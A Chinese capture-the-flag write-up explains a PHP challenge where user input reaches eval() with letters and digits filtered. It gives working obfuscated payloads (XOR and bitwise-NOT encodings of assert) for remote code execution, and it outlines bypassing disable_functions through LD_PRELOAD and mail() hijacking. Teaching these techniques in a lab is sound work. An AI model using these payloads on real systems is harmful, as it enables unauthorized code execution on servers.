前言

本题是由于前期新手题放出来,有些能力比较强的师傅秒完题没题做,放出来拖拖时间给师傅们找点乐趣的。
难度并不大,都是考烂的知识点,不过由于就花了半个小时出题= =,结果大部分都和我想要的预期解不一样。
这里就说一下预期解
题目环境: http://114.116.44.23:40001/
题目源码:

 <?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

非预期

发现大部分师傅的exp都是这个

?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令

emmmmmm
应该大部分都是网上直接copy的,一摸一样,没得灵魂
原因还是因为我给的条件太宽泛了,其实预期解,是想让大家自己实现无文件RCE的
if(preg_match("/[A-Za-z0-9]+/",$code) ×
应该给下面这个过滤才对 (逃
if(preg_match("/[A-Za-z0-9_`'"^?<>${}]+/",$code) √

预期

我的exp:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));

当然,这个exp需要php版本刚好为7.0,通过phpinfo就可以知道版本,大于小于这个exp都会失效,具体原因大家应该知道为什么(卖个关子

然后我们就可以在U-A头里面随意执行命令,蚁剑连上,准备拿flag
然而,我们发现 根目录的 /flag无法读取,很多人来问我为什么
其实看权限就能知道,/flag是没有权限读取的,打过CTF的都知道,一般这个时候,根目录会留一个/readflag来让ctfer 执行命令拿flag,/readflag会有一个s权限 Linux 文件权限与ACL

所以,我们必须RCE才能获取/flag

但是,phpinfo里ban了所有RCE函数,
图片.png

pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,
pcntl_wifsignaled,pcntl_wifcontinued,
pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,
pcntl_setpriority,pcntl_async_signals,
system,exec,shell_exec,popen,proc_open,
passthru,symlink,link,syslog,imap_open,ld,dl

一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
这里的话都过滤的比较好,
这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html

具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同学做到这一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶机上前人做题留下来的脚本直接使用拿到/flag,并没有自己去想怎么绕过disable_function

后者这算我出题的一个小失误,但是我也没有实现动态靶机的能力,只能说心有余而力不足。
上面的github的链接就是本题的exp,原理也说了,工具怎么用,就看看上面的github,虽然没有达到我想要的预期,不过放在新生赛题目中,能看到有几个新生确实凭着自己能力,最终把这道题给做了出来,还是蛮欣慰了。
这个CTF题目比较偏pentest,在我之前的一次渗透中,就用到了这个方法RCE
https://evoa.me/index.php/archives/58/

end

题目环境不会关,除非我VPS过期 XD,想复现这个简单题目的师傅可以去复现一下 (溜